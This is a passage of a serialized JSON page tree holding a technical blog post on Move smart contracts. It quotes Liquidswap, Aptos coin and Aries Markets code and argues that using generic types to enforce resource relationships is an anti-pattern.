key",{"type":19,"tag":168,"props":3368,"children":3369},{"style":212},[3370],{"type":24,"value":471},{"type":19,"tag":168,"props":3372,"children":3373},{"style":393},[3374],{"type":24,"value":3375},"store",{"type":19,"tag":168,"props":3377,"children":3378},{"style":212},[3379],{"type":24,"value":691},{"type":19,"tag":168,"props":3381,"children":3382},{"class":170,"line":415},[3383,3388,3392],{"type":19,"tag":168,"props":3384,"children":3385},{"style":393},[3386],{"type":24,"value":3387}," id",{"type":19,"tag":168,"props":3389,"children":3390},{"style":399},[3391],{"type":24,"value":1922},{"type":19,"tag":168,"props":3393,"children":3394},{"style":212},[3395],{"type":24,"value":3396}," UID,\n",{"type":19,"tag":168,"props":3398,"children":3399},{"class":170,"line":450},[3400,3405,3409,3414,3418,3423],{"type":19,"tag":168,"props":3401,"children":3402},{"style":393},[3403],{"type":24,"value":3404}," balance",{"type":19,"tag":168,"props":3406,"children":3407},{"style":399},[3408],{"type":24,"value":1922},{"type":19,"tag":168,"props":3410,"children":3411},{"style":825},[3412],{"type":24,"value":3413}," Balance",{"type":19,"tag":168,"props":3415,"children":3416},{"style":212},[3417],{"type":24,"value":3240},{"type":19,"tag":168,"props":3419,"children":3420},{"style":825},[3421],{"type":24,"value":3422},"T",{"type":19,"tag":168,"props":3424,"children":3425},{"style":212},[3426],{"type":24,"value":3427},">\n",{"type":19,"tag":168,"props":3429,"children":3430},{"class":170,"line":560},[3431],{"type":19,"tag":168,"props":3432,"children":3433},{"style":212},[3434],{"type":24,"value":3306},{"type":19,"tag":20,"props":3436,"children":3437},{},[3438],{"type":19,"tag":293,"props":3439,"children":3440},{},[3441],{"type":24,"value":3442},"sui",{"type":19,"tag":20,"props":3444,"children":3445},{},[3446,3448,3455,3457,3463],{"type":24,"value":3447},"Pulling an example from ",{"type":19,"tag":269,"props":3449,"children":3452},{"href":3450,"rel":3451},"https://pontem.network/",[273],[3453],{"type":24,"value":3454},"Pontem Network's",{"type":24,"value":3456}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":19,"tag":27,"props":3458,"children":3460},{"className":3459},[],[3461],{"type":24,"value":3462},"LiquidityPool",{"type":24,"value":3464}," natively embeds this type information into it's fields.",{"type":19,"tag":158,"props":3466,"children":3468},{"className":363,"code":3467,"language":362,"meta":7,"style":7}," /// Liquidity pool with reserves.\n struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n coin_x_reserve: Coin\u003CX>,\n coin_y_reserve: Coin\u003CY>,\n // ...\n }\n",[3469],{"type":19,"tag":27,"props":3470,"children":3471},{"__ignoreMap":7},[3472,3480,3544,3574,3603,3611],{"type":19,"tag":168,"props":3473,"children":3474},{"class":170,"line":171},[3475],{"type":19,"tag":168,"props":3476,"children":3477},{"style":373},[3478],{"type":24,"value":3479}," /// Liquidity pool with reserves.\n",{"type":19,"tag":168,"props":3481,"children":3482},{"class":170,"line":198},[3483,3488,3493,3497,3501,3506,3510,3514,3519,3523,3527,3532,3536,3540],{"type":19,"tag":168,"props":3484,"children":3485},{"style":382},[3486],{"type":24,"value":3487}," struct",{"type":19,"tag":168,"props":3489,"children":3490},{"style":825},[3491],{"type":24,"value":3492}," LiquidityPool",{"type":19,"tag":168,"props":3494,"children":3495},{"style":212},[3496],{"type":24,"value":3240},{"type":19,"tag":168,"props":3498,"children":3499},{"style":393},[3500],{"type":24,"value":3245},{"type":19,"tag":168,"props":3502,"children":3503},{"style":825},[3504],{"type":24,"value":3505}," X",{"type":19,"tag":168,"props":3507,"children":3508},{"style":212},[3509],{"type":24,"value":471},{"type":19,"tag":168,"props":3511,"children":3512},{"style":393},[3513],{"type":24,"value":3245},{"type":19,"tag":168,"props":3515,"children":3516},{"style":825},[3517],{"type":24,"value":3518}," Y",{"type":19,"tag":168,"props":3520,"children":3521},{"style":212},[3522],{"type":24,"value":471},{"type":19,"tag":168,"props":3524,"children":3525},{"style":393},[3526],{"type":24,"value":3245},{"type":19,"tag":168,"props":3528,"children":3529},{"style":212},[3530],{"type":24,"value":3531}," LP> ",{"type":19,"tag":168,"props":3533,"children":3534},{"style":393},[3535],{"type":24,"value":3260},{"type":19,"tag":168,"props":3537,"children":3538},{"style":393},[3539],{"type":24,"value":3366},{"type":19,"tag":168,"props":3541,"children":3542},{"style":212},[3543],{"type":24,"value":691},{"type":19,"tag":168,"props":3545,"children":3546},{"class":170,"line":415},[3547,3552,3556,3560,3564,3569],{"type":19,"tag":168,"props":3548,"children":3549},{"style":393},[3550],{"type":24,"value":3551}," coin_x_reserve",{"type":19,"tag":168,"props":3553,"children":3554},{"style":399},[3555],{"type":24,"value":1922},{"type":19,"tag":168,"props":3557,"children":3558},{"style":825},[3559],{"type":24,"value":3235},{"type":19,"tag":168,"props":3561,"children":3562},{"style":212},[3563],{"type":24,"value":3240},{"type":19,"tag":168,"props":3565,"children":3566},{"style":825},[3567],{"type":24,"value":3568},"X",{"type":19,"tag":168,"props":3570,"children":3571},{"style":212},[3572],{"type":24,"value":3573},">,\n",{"type":19,"tag":168,"props":3575,"children":3576},{"class":170,"line":450},[3577,3582,3586,3590,3594,3599],{"type":19,"tag":168,"props":3578,"children":3579},{"style":393},[3580],{"type":24,"value":3581}," coin_y_reserve",{"type":19,"tag":168,"props":3583,"children":3584},{"style":399},[3585],{"type":24,"value":1922},{"type":19,"tag":168,"props":3587,"children":3588},{"style":825},[3589],{"type":24,"value":3235},{"type":19,"tag":168,"props":3591,"children":3592},{"style":212},[3593],{"type":24,"value":3240},{"type":19,"tag":168,"props":3595,"children":3596},{"style":825},[3597],{"type":24,"value":3598},"Y",{"type":19,"tag":168,"props":3600,"children":3601},{"style":212},[3602],{"type":24,"value":3573},{"type":19,"tag":168,"props":3604,"children":3605},{"class":170,"line":560},[3606],{"type":19,"tag":168,"props":3607,"children":3608},{"style":373},[3609],{"type":24,"value":3610}," // ...\n",{"type":19,"tag":168,"props":3612,"children":3613},{"class":170,"line":666},[3614],{"type":19,"tag":168,"props":3615,"children":3616},{"style":212},[3617],{"type":24,"value":761},{"type":19,"tag":20,"props":3619,"children":3620},{},[3621],{"type":24,"value":3622},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":19,"tag":158,"props":3624,"children":3626},{"className":363,"code":3625,"language":362,"meta":7,"style":7}," public fun mint\u003CX, Y, LP>(\n pool_addr: address,\n coin_x: Coin\u003CX>,\n coin_y: Coin\u003CY>\n ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n // ...\n\n let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[3627],{"type":19,"tag":27,"props":3628,"children":3629},{"__ignoreMap":7},[3630,3669,3690,3718,3746,3797,3805,3812],{"type":19,"tag":168,"props":3631,"children":3632},{"class":170,"line":171},[3633,3638,3643,3648,3652,3656,3660,3664],{"type":19,"tag":168,"props":3634,"children":3635},{"style":393},[3636],{"type":24,"value":3637}," public",{"type":19,"tag":168,"props":3639,"children":3640},{"style":393},[3641],{"type":24,"value":3642}," fun",{"type":19,"tag":168,"props":3644,"children":3645},{"style":393},[3646],{"type":24,"value":3647}," mint",{"type":19,"tag":168,"props":3649,"children":3650},{"style":212},[3651],{"type":24,"value":3240},{"type":19,"tag":168,"props":3653,"children":3654},{"style":825},[3655],{"type":24,"value":3568},{"type":19,"tag":168,"props":3657,"children":3658},{"style":212},[3659],{"type":24,"value":471},{"type":19,"tag":168,"props":3661,"children":3662},{"style":825},[3663],{"type":24,"value":3598},{"type":19,"tag":168,"props":3665,"children":3666},{"style":212},[3667],{"type":24,"value":3668},", LP>(\n",{"type":19,"tag":168,"props":3670,"children":3671},{"class":170,"line":198},[3672,3677,3681,3686],{"type":19,"tag":168,"props":3673,"children":3674},{"style":393},[3675],{"type":24,"value":3676}," pool_addr",{"type":19,"tag":168,"props":3678,"children":3679},{"style":399},[3680],{"type":24,"value":1922},{"type":19,"tag":168,"props":3682,"children":3683},{"style":393},[3684],{"type":24,"value":3685}," address",{"type":19,"tag":168,"props":3687,"children":3688},{"style":212},[3689],{"type":24,"value":915},{"type":19,"tag":168,"props":3691,"children":3692},{"class":170,"line":415},[3693,3698,3702,3706,3710,3714],{"type":19,"tag":168,"props":3694,"children":3695},{"style":393},[3696],{"type":24,"value":3697}," coin_x",{"type":19,"tag":168,"props":3699,"children":3700},{"style":399},[3701],{"type":24,"value":1922},{"type":19,"tag":168,"props":3703,"children":3704},{"style":825},[3705],{"type":24,"value":3235},{"type":19,"tag":168,"props":3707,"children":3708},{"style":212},[3709],{"type":24,"value":3240},{"type":19,"tag":168,"props":3711,"children":3712},{"style":825},[3713],{"type":24,"value":3568},{"type":19,"tag":168,"props":3715,"children":3716},{"style":212},[3717],{"type":24,"value":3573},{"type":19,"tag":168,"props":3719,"children":3720},{"class":170,"line":450},[3721,3726,3730,3734,3738,3742],{"type":19,"tag":168,"props":3722,"children":3723},{"style":393},[3724],{"type":24,"value":3725}," coin_y",{"type":19,"tag":168,"props":3727,"children":3728},{"style":399},[3729],{"type":24,"value":1922},{"type":19,"tag":168,"props":3731,"children":3732},{"style":825},[3733],{"type":24,"value":3235},{"type":19,"tag":168,"props":3735,"children":3736},{"style":212},[3737],{"type":24,"value":3240},{"type":19,"tag":168,"props":3739,"children":3740},{"style":825},[3741],{"type":24,"value":3598},{"type":19,"tag":168,"props":3743,"children":3744},{"style":212},[3745],{"type":24,"value":3427},{"type":19,"tag":168,"props":3747,"children":3748},{"class":170,"line":560},[3749,3754,3758,3762,3766,3771,3775,3780,3784,3788,3793],{"type":19,"tag":168,"props":3750,"children":3751},{"style":212},[3752],{"type":24,"value":3753}," )",{"type":19,"tag":168,"props":3755,"children":3756},{"style":399},[3757],{"type":24,"value":1922},{"type":19,"tag":168,"props":3759,"children":3760},{"style":825},[3761],{"type":24,"value":3235},{"type":19,"tag":168,"props":3763,"children":3764},{"style":212},[3765],{"type":24,"value":3240},{"type":19,"tag":168,"props":3767,"children":3768},{"style":825},[3769],{"type":24,"value":3770},"LP",{"type":19,"tag":168,"props":3772,"children":3773},{"style":212},[3774],{"type":24,"value":3255},{"type":19,"tag":168,"props":3776,"children":3777},{"style":393},[3778],{"type":24,"value":3779},"acquires",{"type":19,"tag":168,"props":3781,"children":3782},{"style":825},[3783],{"type":24,"value":3492},{"type":19,"tag":168,"props":3785,"children":3786},{"style":212},[3787],{"type":24,"value":471},{"type":19,"tag":168,"props":3789,"children":3790},{"style":825},[3791],{"type":24,"value":3792},"EventsStore",{"type":19,"tag":168,"props":3794,"children":3795},{"style":212},[3796],{"type":24,"value":691},{"type":19,"tag":168,"props":3798,"children":3799},{"class":170,"line":666},[3800],{"type":19,"tag":168,"props":3801,"children":3802},{"style":373},[3803],{"type":24,"value":3804}," // ...\n",{"type":19,"tag":168,"props":3806,"children":3807},{"class":170,"line":694},[3808],{"type":19,"tag":168,"props":3809,"children":3810},{"emptyLinePlaceholder":14},[3811],{"type":24,"value":1093},{"type":19,"tag":168,"props":3813,"children":3814},{"class":170,"line":707},[3815,3820,3824,3829,3833,3838,3842,3846,3851,3855,3859,3863,3867,3872,3877],{"type":19,"tag":168,"props":3816,"children":3817},{"style":382},[3818],{"type":24,"value":3819}," let",{"type":19,"tag":168,"props":3821,"children":3822},{"style":212},[3823],{"type":24,"value":461},{"type":19,"tag":168,"props":3825,"children":3826},{"style":393},[3827],{"type":24,"value":3828},"x_reserve_size",{"type":19,"tag":168,"props":3830,"children":3831},{"style":212},[3832],{"type":24,"value":471},{"type":19,"tag":168,"props":3834,"children":3835},{"style":393},[3836],{"type":24,"value":3837},"y_reserve_size",{"type":19,"tag":168,"props":3839,"children":3840},{"style":212},[3841],{"type":24,"value":481},{"type":19,"tag":168,"props":3843,"children":3844},{"style":399},[3845],{"type":24,"value":486},{"type":19,"tag":168,"props":3847,"children":3848},{"style":393},[3849],{"type":24,"value":3850}," get_reserves_size",{"type":19,"tag":168,"props":3852,"children":3853},{"style":212},[3854],{"type":24,"value":3240},{"type":19,"tag":168,"props":3856,"children":3857},{"style":825},[3858],{"type":24,"value":3568},{"type":19,"tag":168,"props":3860,"children":3861},{"style":212},[3862],{"type":24,"value":471},{"type":19,"tag":168,"props":3864,"children":3865},{"style":825},[3866],{"type":24,"value":3598},{"type":19,"tag":168,"props":3868,"children":3869},{"style":212},[3870],{"type":24,"value":3871},", LP>(",{"type":19,"tag":168,"props":3873,"children":3874},{"style":393},[3875],{"type":24,"value":3876},"pool_addr",{"type":19,"tag":168,"props":3878,"children":3879},{"style":212},[3880],{"type":24,"value":1249},{"type":19,"tag":20,"props":3882,"children":3883},{},[3884,3886,3892,3894,3901],{"type":24,"value":3885},"As an aside, this generic type information is implemented at runtime in the ",{"type":19,"tag":27,"props":3887,"children":3889},{"className":3888},[],[3890],{"type":24,"value":3891},"ty_args",{"type":24,"value":3893}," ",{"type":19,"tag":269,"props":3895,"children":3898},{"href":3896,"rel":3897},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[273],[3899],{"type":24,"value":3900},"at the vm level",{"type":24,"value":3902},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":19,"tag":20,"props":3904,"children":3905},{},[3906,3908,3914,3916,3922,3924,3930,3931,3937],{"type":24,"value":3907},"In pseucode, this checks that ",{"type":19,"tag":27,"props":3909,"children":3911},{"className":3910},[],[3912],{"type":24,"value":3913},"coin_x.type",{"type":24,"value":3915}," is equal to ",{"type":19,"tag":27,"props":3917,"children":3919},{"className":3918},[],[3920],{"type":24,"value":3921},"pool.x_type",{"type":24,"value":3923},", and ",{"type":19,"tag":27,"props":3925,"children":3927},{"className":3926},[],[3928],{"type":24,"value":3929},"coin_y.type",{"type":24,"value":3915},{"type":19,"tag":27,"props":3932,"children":3934},{"className":3933},[],[3935],{"type":24,"value":3936},"pool.y_type",{"type":24,"value":948},{"type":19,"tag":20,"props":3939,"children":3940},{},[3941],{"type":24,"value":3942},"This type system has two advantages",{"type":19,"tag":2869,"props":3944,"children":3945},{},[3946,3958],{"type":19,"tag":47,"props":3947,"children":3948},{},[3949,3951,3956],{"type":24,"value":3950},"It's required. The type parameter ",{"type":19,"tag":293,"props":3952,"children":3953},{},[3954],{"type":24,"value":3955},"must",{"type":24,"value":3957}," be specified so it's impossible to forget such a constraint",{"type":19,"tag":47,"props":3959,"children":3960},{},[3961],{"type":24,"value":3962},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":19,"tag":20,"props":3964,"children":3965},{},[3966],{"type":24,"value":3967},"However, this system isn't perfect.",{"type":19,"tag":20,"props":3969,"children":3970},{},[3971,3973,3978],{"type":24,"value":3972},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":19,"tag":51,"props":3974,"children":3975},{},[3976],{"type":24,"value":3977},"an anti-pattern",{"type":24,"value":948},{"type":19,"tag":20,"props":3980,"children":3981},{},[3982,3984,3990],{"type":24,"value":3983},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":19,"tag":27,"props":3985,"children":3987},{"className":3986},[],[3988],{"type":24,"value":3989},"CoinInfo\u003CCoinType>",{"type":24,"value":948},{"type":19,"tag":158,"props":3992,"children":3994},{"className":363,"code":3993,"language":362,"meta":7,"style":7}," fun initialize_internal\u003CCoinType>(\n // ...\n ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n // ...\n\n assert!(\n !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n );\n",[3995],{"type":19,"tag":27,"props":3996,"children":3997},{"__ignoreMap":7},[3998,4025,4033,4102,4109,4116,4128,4173,4195],{"type":19,"tag":168,"props":3999,"children":4000},{"class":170,"line":171},[4001,4006,4011,4015,4020],{"type":19,"tag":168,"props":4002,"children":4003},{"style":393},[4004],{"type":24,"value":4005}," fun",{"type":19,"tag":168,"props":4007,"children":4008},{"style":393},[4009],{"type":24,"value":4010}," initialize_internal",{"type":19,"tag":168,"props":4012,"children":4013},{"style":212},[4014],{"type":24,"value":3240},{"type":19,"tag":168,"props":4016,"children":4017},{"style":825},[4018],{"type":24,"value":4019},"CoinType",{"type":19,"tag":168,"props":4021,"children":4022},{"style":212},[4023],{"type":24,"value":4024},">(\n",{"type":19,"tag":168,"props":4026,"children":4027},{"class":170,"line":198},[4028],{"type":19,"tag":168,"props":4029,"children":4030},{"style":373},[4031],{"type":24,"value":4032}," // ...\n",{"type":19,"tag":168,"props":4034,"children":4035},{"class":170,"line":415},[4036,4041,4045,4049,4054,4058,4062,4067,4072,4076,4080,4084,4089,4093,4097],{"type":19,"tag":168,"props":4037,"children":4038},{"style":212},[4039],{"type":24,"value":4040}," )",{"type":19,"tag":168,"props":4042,"children":4043},{"style":399},[4044],{"type":24,"value":1922},{"type":19,"tag":168,"props":4046,"children":4047},{"style":212},[4048],{"type":24,"value":461},{"type":19,"tag":168,"props":4050,"children":4051},{"style":825},[4052],{"type":24,"value":4053},"BurnCapability",{"type":19,"tag":168,"props":4055,"children":4056},{"style":212},[4057],{"type":24,"value":3240},{"type":19,"tag":168,"props":4059,"children":4060},{"style":825},[4061],{"type":24,"value":4019},{"type":19,"tag":168,"props":4063,"children":4064},{"style":212},[4065],{"type":24,"value":4066},">, ",{"type":19,"tag":168,"props":4068,"children":4069},{"style":825},[4070],{"type":24,"value":4071},"FreezeCapability",{"type":19,"tag":168,"props":4073,"children":4074},{"style":212},[4075],{"type":24,"value":3240},{"type":19,"tag":168,"props":4077,"children":4078},{"style":825},[4079],{"type":24,"value":4019},{"type":19,"tag":168,"props":4081,"children":4082},{"style":212},[4083],{"type":24,"value":4066},{"type":19,"tag":168,"props":4085,"children":4086},{"style":825},[4087],{"type":24,"value":4088},"MintCapability",{"type":19,"tag":168,"props":4090,"children":4091},{"style":212},[4092],{"type":24,"value":3240},{"type":19,"tag":168,"props":4094,"children":4095},{"style":825},[4096],{"type":24,"value":4019},{"type":19,"tag":168,"props":4098,"children":4099},{"style":212},[4100],{"type":24,"value":4101},">) {\n",{"type":19,"tag":168,"props":4103,"children":4104},{"class":170,"line":450},[4105],{"type":19,"tag":168,"props":4106,"children":4107},{"style":373},[4108],{"type":24,"value":4032},{"type":19,"tag":168,"props":4110,"children":4111},{"class":170,"line":560},[4112],{"type":19,"tag":168,"props":4113,"children":4114},{"emptyLinePlaceholder":14},[4115],{"type":24,"value":1093},{"type":19,"tag":168,"props":4117,"children":4118},{"class":170,"line":666},[4119,4124],{"type":19,"tag":168,"props":4120,"children":4121},{"style":175},[4122],{"type":24,"value":4123}," assert!",{"type":19,"tag":168,"props":4125,"children":4126},{"style":212},[4127],{"type":24,"value":870},{"type":19,"tag":168,"props":4129,"children":4130},{"class":170,"line":694},[4131,4136,4141,4145,4150,4154,4158,4163,4168],{"type":19,"tag":168,"props":4132,"children":4133},{"style":399},[4134],{"type":24,"value":4135}," !",{"type":19,"tag":168,"props":4137,"children":4138},{"style":393},[4139],{"type":24,"value":4140},"exists",{"type":19,"tag":168,"props":4142,"children":4143},{"style":212},[4144],{"type":24,"value":3240},{"type":19,"tag":168,"props":4146,"children":4147},{"style":825},[4148],{"type":24,"value":4149},"CoinInfo",{"type":19,"tag":168,"props":4151,"children":4152},{"style":212},[4153],{"type":24,"value":3240},{"type":19,"tag":168,"props":4155,"children":4156},{"style":825},[4157],{"type":24,"value":4019},{"type":19,"tag":168,"props":4159,"children":4160},{"style":212},[4161],{"type":24,"value":4162},">>(",{"type":19,"tag":168,"props":4164,"children":4165},{"style":393},[4166],{"type":24,"value":4167},"account_addr",{"type":19,"tag":168,"props":4169,"children":4170},{"style":212},[4171],{"type":24,"value":4172},"),\n",{"type":19,"tag":168,"props":4174,"children":4175},{"class":170,"line":707},[4176,4181,4185,4190],{"type":19,"tag":168,"props":4177,"children":4178},{"style":212},[4179],{"type":24,"value":4180}," error",{"type":19,"tag":168,"props":4182,"children":4183},{"style":399},[4184],{"type":24,"value":888},{"type":19,"tag":168,"props":4186,"children":4187},{"style":175},[4188],{"type":24,"value":4189},"already_exists",{"type":19,"tag":168,"props":4191,"children":4192},{"style":212},[4193],{"type":24,"value":4194},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":19,"tag":168,"props":4196,"children":4197},{"class":170,"line":725},[4198],{"type":19,"tag":168,"props":4199,"children":4200},{"style":212},[4201],{"type":24,"value":4202}," );\n",{"type":19,"tag":20,"props":4204,"children":4205},{},[4206,4208,4213],{"type":24,"value":4207},"While this ",{"type":19,"tag":27,"props":4209,"children":4211},{"className":4210},[],[4212],{"type":24,"value":4149},{"type":24,"value":4214}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":19,"tag":20,"props":4216,"children":4217},{},[4218,4220,4227],{"type":24,"value":4219},"Similarly, consider ",{"type":19,"tag":269,"props":4221,"children":4224},{"href":4222,"rel":4223},"https://ariesmarkets.xyz/",[273],[4225],{"type":24,"value":4226},"Aries Markets",{"type":24,"value":4228},", a lending/borrowing protocol building on Aptos.",{"type":19,"tag":20,"props":4230,"children":4231},{},[4232,4234,4240],{"type":24,"value":4233},"Their ",{"type":19,"tag":27,"props":4235,"children":4237},{"className":4236},[],[4238],{"type":24,"value":4239},"ReserveCoinContainer",{"type":24,"value":4241}," struct stores all the relevant data and resources for managing a lending market.",{"type":19,"tag":158,"props":4243,"children":4245},{"className":363,"code":4244,"language":362,"meta":7,"style":7}," /// The struct to hold all the underlying `Coin`s.\n /// Stored as a resources.\n struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n /// Stores the available `Coin`.\n underlying_coin: Coin\u003CCoin0>,\n /// Stores the LP `Coin` that act as collateral.\n collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n /// Mint capability for LP Coin.\n mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n /// Burn capability for LP Coin.\n burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n // ...\n }\n\n",[4246],{"type":19,"tag":27,"props":4247,"children":4248},{"__ignoreMap":7},[4249,4257,4265,4306,4314,4343,4351,4388,4396,4433,4441,4478,4485,4492],{"type":19,"tag":168,"props":4250,"children":4251},{"class":170,"line":171},[4252],{"type":19,"tag":168,"props":4253,"children":4254},{"style":373},[4255],{"type":24,"value":4256}," /// The struct to hold all the underlying `Coin`s.\n",{"type":19,"tag":168,"props":4258,"children":4259},{"class":170,"line":198},[4260],{"type":19,"tag":168,"props":4261,"children":4262},{"style":373},[4263],{"type":24,"value":4264}," /// Stored as a resources.\n",{"type":19,"tag":168,"props":4266,"children":4267},{"class":170,"line":415},[4268,4272,4277,4281,4285,4290,4294,4298,4302],{"type":19,"tag":168,"props":4269,"children":4270},{"style":382},[4271],{"type":24,"value":3230},{"type":19,"tag":168,"props":4273,"children":4274},{"style":825},[4275],{"type":24,"value":4276}," ReserveCoinContainer",{"type":19,"tag":168,"props":4278,"children":4279},{"style":212},[4280],{"type":24,"value":3240},{"type":19,"tag":168,"props":4282,"children":4283},{"style":393},[4284],{"type":24,"value":3245},{"type":19,"tag":168,"props":4286,"children":4287},{"style":825},[4288],{"type":24,"value":4289}," Coin0",{"type":19,"tag":168,"props":4291,"children":4292},{"style":212},[4293],{"type":24,"value":3255},{"type":19,"tag":168,"props":4295,"children":4296},{"style":393},[4297],{"type":24,"value":3260},{"type":19,"tag":168,"props":4299,"children":4300},{"style":393},[4301],{"type":24,"value":3366},{"type":19,"tag":168,"props":4303,"children":4304},{"style":212},[4305],{"type":24,"value":691},{"type":19,"tag":168,"props":4307,"children":4308},{"class":170,"line":450},[4309],{"type":19,"tag":168,"props":4310,"children":4311},{"style":373},[4312],{"type":24,"value":4313}," /// Stores the available `Coin`.\n",{"type":19,"tag":168,"props":4315,"children":4316},{"class":170,"line":560},[4317,4322,4326,4330,4334,4339],{"type":19,"tag":168,"props":4318,"children":4319},{"style":393},[4320],{"type":24,"value":4321}," underlying_coin",{"type":19,"tag":168,"props":4323,"children":4324},{"style":399},[4325],{"type":24,"value":1922},{"type":19,"tag":168,"props":4327,"children":4328},{"style":825},[4329],{"type":24,"value":3235},{"type":19,"tag":168,"props":4331,"children":4332},{"style":212},[4333],{"type":24,"value":3240},{"type":19,"tag":168,"props":4335,"children":4336},{"style":825},[4337],{"type":24,"value":4338},"Coin0",{"type":19,"tag":168,"props":4340,"children":4341},{"style":212},[4342],{"type":24,"value":3573},{"type":19,"tag":168,"props":4344,"children":4345},{"class":170,"line":666},[4346],{"type":19,"tag":168,"props":4347,"children":4348},{"style":373},[4349],{"type":24,"value":4350}," /// Stores the LP `Coin` that act as collateral.\n",{"type":19,"tag":168,"props":4352,"children":4353},{"class":170,"line":694},[4354,4359,4363,4367,4371,4375,4379,4383],{"type":19,"tag":168,"props":4355,"children":4356},{"style":393},[4357],{"type":24,"value":4358}," collateralised_lp_coin",{"type":19,"tag":168,"props":4360,"children":4361},{"style":399},[4362],{"type":24,"value":1922},{"type":19,"tag":168,"props":4364,"children":4365},{"style":825},[4366],{"type":24,"value":3235},{"type":19,"tag":168,"props":4368,"children":4369},{"style":212},[4370],{"type":24,"value":3240},{"type":19,"tag":168,"props":4372,"children":4373},{"style":825},[4374],{"type":24,"value":3770},{"type":19,"tag":168,"props":4376,"children":4377},{"style":212},[4378],{"type":24,"value":3240},{"type":19,"tag":168,"props":4380,"children":4381},{"style":825},[4382],{"type":24,"value":4338},{"type":19,"tag":168,"props":4384,"children":4385},{"style":212},[4386],{"type":24,"value":4387},">>,\n",{"type":19,"tag":168,"props":4389,"children":4390},{"class":170,"line":707},[4391],{"type":19,"tag":168,"props":4392,"children":4393},{"style":373},[4394],{"type":24,"value":4395}," /// Mint capability for LP Coin.\n",{"type":19,"tag":168,"props":4397,"children":4398},{"class":170,"line":725},[4399,4404,4408,4413,4417,4421,4425,4429],{"type":19,"tag":168,"props":4400,"children":4401},{"style":393},[4402],{"type":24,"value":4403}," mint_capability",{"type":19,"tag":168,"props":4405,"children":4406},{"style":399},[4407],{"type":24,"value":1922},{"type":19,"tag":168,"props":4409,"children":4410},{"style":825},[4411],{"type":24,"value":4412}," MintCapability",{"type":19,"tag":168,"props":4414,"children":4415},{"style":212},[4416],{"type":24,"value":3240},{"type":19,"tag":168,"props":4418,"children":4419},{"style":825},[4420],{"type":24,"value":3770},{"type":19,"tag":168,"props":4422,"children":4423},{"style":212},[4424],{"type":24,"value":3240},{"type":19,"tag":168,"props":4426,"children":4427},{"style":825},[4428],{"type":24,"value":4338},{"type":19,"tag":168,"props":4430,"children":4431},{"style":212},[4432],{"type":24,"value":4387},{"type":19,"tag":168,"props":4434,"children":4435},{"class":170,"line":746},[4436],{"type":19,"tag":168,"props":4437,"children":4438},{"style":373},[4439],{"type":24,"value":4440}," /// Burn capability for LP Coin.\n",{"type":19,"tag":168,"props":4442,"children":4443},{"class":170,"line":755},[4444,4449,4453,4458,4462,4466,4470,4474],{"type":19,"tag":168,"props":4445,"children":4446},{"style":393},[4447],{"type":24,"value":4448}," burn_capability",{"type":19,"tag":168,"props":4450,"children":4451},{"style":399},[4452],{"type":24,"value":1922},{"type":19,"tag":168,"props":4454,"children":4455},{"style":825},[4456],{"type":24,"value":4457}," BurnCapability",{"type":19,"tag":168,"props":4459,"children":4460},{"style":212},[4461],{"type":24,"value":3240},{"type":19,"tag":168,"props":4463,"children":4464},{"style":825},[4465],{"type":24,"value":3770},{"type":19,"tag":168,"props":4467,"children":4468},{"style":212},[4469],{"type":24,"value":3240},{"type":19,"tag":168,"props":4471,"children":4472},{"style":825},[4473],{"type":24,"value":4338},{"type":19,"tag":168,"props":4475,"children":4476},{"style":212},[4477],{"type":24,"value":4387},{"type":19,"tag":168,"props":4479,"children":4480},{"class":170,"line":1008},[4481],{"type":19,"tag":168,"props":4482,"children":4483},{"emptyLinePlaceholder":14},[4484],{"type":24,"value":1093},{"type":19,"tag":168,"props":4486,"children":4487},{"class":170,"line":1025},[4488],{"type":19,"tag":168,"props":4489,"children":4490},{"style":373},[4491],{"type":24,"value":4032},{"type":19,"tag":168,"props":4493,"children":4494},{"class":170,"line":1042},[4495],{"type":19,"tag":168,"props":4496,"children":4497},{"style":212},[4498],{"type":24,"value":3306},{"type":19,"tag":20,"props":4500,"children":4501},{},[4502,4504,4509],{"type":24,"value":4503},"When creating a ",{"type":19,"tag":27,"props":4505,"children":4507},{"className":4506},[],[4508],{"type":24,"value":4239},{"type":24,"value":4510},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":19,"tag":158,"props":4512,"children":4514},{"className":363,"code":4513,"language":362,"meta":7,"style":7}," public(friend) fun create\u003CCoin0>(\n lp_store: &signer,\n // ...\n ) acquires Reserves {\n lp::assert_is_lp_store(signer::address_of(lp_store));\n\n // ...\n\n move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n // ...\n });\n",[4515],{"type":19,"tag":27,"props":4516,"children":4517},{"__ignoreMap":7},[4518,4561,4587,4594,4615,4660,4667,4674,4681,4718,4725],{"type":19,"tag":168,"props":4519,"children":4520},{"class":170,"line":171},[4521,4526,4530,4535,4539,4544,4549,4553,4557],{"type":19,"tag":168,"props":4522,"children":4523},{"style":175},[4524],{"type":24,"value":4525}," 